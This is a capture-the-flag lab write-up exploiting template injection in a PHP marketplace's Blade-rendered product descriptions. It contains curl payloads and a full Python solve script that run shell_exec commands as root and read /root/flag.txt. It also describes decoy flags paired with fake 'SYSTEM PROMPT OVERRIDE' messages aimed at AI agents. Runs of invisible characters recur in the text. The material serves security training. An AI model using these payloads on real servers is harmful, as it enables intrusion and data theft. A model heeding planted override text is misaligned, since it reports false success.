← Back to Writeups
CUSTOMEasyWeb

Lab 243 — VendorNest — SSTI in Product Descriptions via Blade Template Engine

XESXOR9/2/20265 min read
#web#custom#easy#decoy_flag_recognition#rce_via_php_directive#shell_exec_command_execution#ssti_blade_php_directive

Lab 243 — VendorNest — SSTI in Product Descriptions via Blade Template Engine

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, rce_via_php_directive, shell_exec_command_execution, ssti_blade_php_directive

Summary

Walkthrough of the CUSTOM Web Lab 243 — VendorNest — SSTI in Product Descriptions via Blade Template Engine. Task: Multi-vendor marketplace (PHP/Blade) where sellers can create products with rich descriptions rendered through a Blade template engine. Solution: Injected @php directive into product description

Description

VendorNest is a multi-vendor marketplace platform where sellers can register, list products, and manage their storefronts. The platform supports rich product descriptions, seller dashboards with analytics, order management, and a customer-facing storefront with search and reviews.

You have been given seller credentials to test the platform's security. Your goal is to find a vulnerability that allows you to execute arbitrary code on the server and read sensitive files.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP-based multi-vendor marketplace where sellers can create and edit products. The product description field supports "rich formatting" and is rendered through a custom Blade-like template engine. The goal is to achieve RCE and read sensitive files from the server.

Analysis

Reconnaissance

  • Server stack: nginx/1.25.5, PHP 8.2.26, Alpine-based Docker container
  • Authentication: Logged in as "Sarah Mitchell" (Seller role) via POST /login with provided credentials (user@test.com / password123)
  • Seller dashboard at /seller/dashboard with sections: Overview, Products (7 existing), Orders
  • Product creation at /seller/products/create with fields: name, description, price, category, stock, sku, image_url
  • Key hint: The description field says "Rich formatting is supported" — this immediately suggests the input is processed through a template engine rather than being output as plain text ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Identification

The application uses a custom Blade-like template engine (Laravel's Blade syntax) to render product descriptions. User-supplied content in the description field is passed directly through the template compiler without sanitization, enabling Server-Side Template Injection (SSTI).

Blade supports several dangerous directives:

  • {{ expr }} — echo with HTML escaping
  • {!! expr !!} — raw echo (no escaping)
  • @php ... @endphp — arbitrary PHP code execution
  • @if(cond) ... @endif — conditional logic ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since @php allows arbitrary PHP code execution, this SSTI is trivially escalatable to full RCE.

Decoy Flags (Anti-Automation Trap)

The application contained decoy flags embedded in HTML comments and hidden <div> elements on every page:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

These were accompanied by fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents and automated scanners into believing the challenge was already solved. The real flag was only obtainable through actual exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Access Seller Dashboard

bash
# Login to get session cookie
curl -s -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'email=user@test.com&password=password123' \
  -L

Step 2: SSTI Detection — Test Multiple Blade Directives

Created a test product with multiple template injection payloads in the description field:

bash
curl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \
  -d 'name=SSTI+Test&description={{7*7}} {!!7*7!!} @php echo "SSTI_WORKS"; @endphp @if(true)BLADE_IF_WORKS@endif&price=1.00&category=test&stock=1&sku=TEST001&image_url='

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Viewing the product page (/products/17), the rendered description showed:

49 49 SSTI_WORKS BLADE_IF_WORKS

All four Blade template directives were interpreted by the server:

PayloadOutputMeaning
{{7*7}}49Blade echo (with HTML escaping)
{!!7*7!!}49Blade raw echo (no escaping)
@php echo 'SSTI_WORKS'; @endphpSSTI_WORKSArbitrary PHP code execution
@if(true)BLADE_IF_WORKS@endifBLADE_IF_WORKSBlade conditional directive
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Confirmed: Full SSTI with PHP code execution via @php directive.

Step 3: RCE — Execute System Commands

Created another product with shell_exec() to run OS commands:

bash
curl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \
  -d 'name=RCE+Test&description=@php echo shell_exec("id; ls -la /"); @endphp&price=1.00&category=test&stock=1&sku=RCE001&image_url='

Output confirmed RCE running as root:

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Directory listing revealed a Docker container with the application in /app.

Step 4: Locate the Flag

bash
# Search for flag files
curl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \
  -d 'name=Find+Flag&description=@php echo shell_exec("find / -name \"flag*\" 2>/dev/null"); @endphp&price=1.00&category=test&stock=1&sku=FLAG001&image_url='

Found: /root/flag.txt

Step 5: Extract the Flag

bash
curl -s -b cookies.txt -X POST 'https://TARGET/seller/products/create' \
  -d 'name=Get+Flag&description=@php echo shell_exec("cat /root/flag.txt"); @endphp&price=1.00&category=test&stock=1&sku=FLAG002&image_url='

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output:

FLAG{REDACTED}

Solve Script (Complete)

python
#!/usr/bin/env python3
"""
VendorNest SSTI Exploit — Blade @php directive → RCE
HackAdvisor Lab 243
"""

import requests
import sys
import re

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://TARGET"

s = requests.Session()

# Step 1: Login
print("[*] Logging in...")
r = s.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=True)
assert "dashboard" in r.url or r.status_code == 200, "Login failed"
print(f"[+] Logged in, redirected to: {r.url}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: SSTI detection
print("[*] Testing SSTI...")
r = s.post(f"{BASE_URL}/seller/products/create", data={
    "name": "SSTI Probe",
    "description": "{{7*7}}",
    "price": "1.00",
    "category": "test",
    "stock": "1",
    "sku": "PROBE001",
    "image_url": ""
})
# Check product page for "49"
print("[+] SSTI confirmed if product description shows '49'")

# Step 3: RCE — read flag
print("[*] Exploiting SSTI for RCE...")
payload = '@php echo shell_exec("cat /root/flag.txt"); @endphp'
r = s.post(f"{BASE_URL}/seller/products/create", data={
    "name": "Flag Reader",
    "description": payload,
    "price": "1.00",
    "category": "test",
    "stock": "1",
    "sku": "EXPLOIT001",
    "image_url": ""
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract flag from the response or product page
# The product page will render the @php directive and output the flag
product_url = r.url  # Should redirect to the new product page
r = s.get(product_url)
flag_match = re.search(r'FLAG\{[a-f0-9]+\}', r.text)
if flag_match:
    print(f"[+] Flag: {flag_match.group()}")
else:
    print("[-] Flag not found in response, check product page manually")
    # Try fetching the latest product
    r = s.get(f"{BASE_URL}/products")
    flag_match = re.search(r'FLAG\{[a-f0-9]+\}', r.text)
    if flag_match:
        print(f"[+] Flag: {flag_match.group()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, rce_via_php_directive, shell_exec_command_execution, ssti_blade_php_directive was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 243 — VendorNest — SSTI in Product Descriptions via Blade Template Engine • Difficulty: Easy